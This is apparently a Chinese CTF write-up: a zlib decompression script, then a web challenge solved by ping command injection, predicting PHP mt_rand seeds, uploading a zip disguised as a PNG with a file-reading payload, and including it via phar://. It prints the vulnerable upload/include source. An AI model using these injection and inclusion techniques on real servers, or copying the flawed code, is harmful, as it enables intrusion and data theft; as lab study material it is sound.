近期笔记

最近隐写里zlib上镜率比较高,解压缩脚本记录下

#! /usr/bin/env python
import zlib
import binascii
IDAT = "xxxxxxxxxxxxxxxxxxx".decode('hex')
result = binascii.hexlify(zlib.decompress(IDAT))
print result
print result.decode('hex')

一道命令执行跟文件包含结合的题:

输入会被当作ping命令执行,竖线被过滤,命令长度限制在3个字符以内,尝试127.0.0.1&ls,列出文件

转到you_find_upload.php,发现一个随机数

发现是可以查看源码的

base64解码查看源码,尝试跨目录,发现../被过滤。

<?php
        $type = array('gif','jpg','png');
        mt_srand((time() % rand(1,100000)%rand(1000,9000)));
        echo mt_rand();
        if (isset($_POST['submit'])) {
            $check = getimagesize($_FILES['file']['tmp_name']);
            @$extension = end(explode('.',$_FILES['file']['name']));
            if(in_array($extension,$type)){
                echo 'File is an image - ' . $check['mime'];
                $filename = '/var/www/html/web1/upload/'.mt_rand().'_'.$_FILES['file']['name']; 
                move_uploaded_file($_FILES['file']['tmp_name'], $filename);
                echo "<br>\n";
            } else {
                echo "File is not an image";
            }
        }
        if(isset($_GET['p'])){
            if(@preg_match("/\.\.\//",$_GET['p'])){
                echo "too young too simple";
            }
            else{
               @include $_GET['p'].".php";
            }
        }
        ?>

上传的文件只检查后缀,白名单三种图片格式,尝试解析漏洞绕过,无果。

解决随机数问题,发现本质就是随机数种子1000-9000,脚本(by YXM):

<?php
$t = 333347096;
for ($i = 1;$i<=9000;$i++){
    mt_srand($i);
    $r = mt_rand();
    if($r==333347096){
        echo "seed".$i."\n";
        break;
    }
}
mt_srand($i);
echo "check:".mt_rand()."\n";
echo "answer:".mt_rand();
?>

随机数问题解决了,尝试使用压缩上传,协议解压,php文件打包成zip,payload:

<?php 
 $file = fopen('../../../../../../../../etc/flag.txt','r');

    if($file){
        while(!feof($file)){
            $line = fgetc($file);
            echo $line;
        }
    }
    fclose($file);
?>

抓包,修改zip文件后缀成png,记录随机数,丢到之前的脚本里跑出上传的目录

seed404 check:718797317 answer:1230306824

接着用phar://协议解压,访问/web1/you_find_upload.php?p=phar://upload/1230306824_1.png/1

得到flag: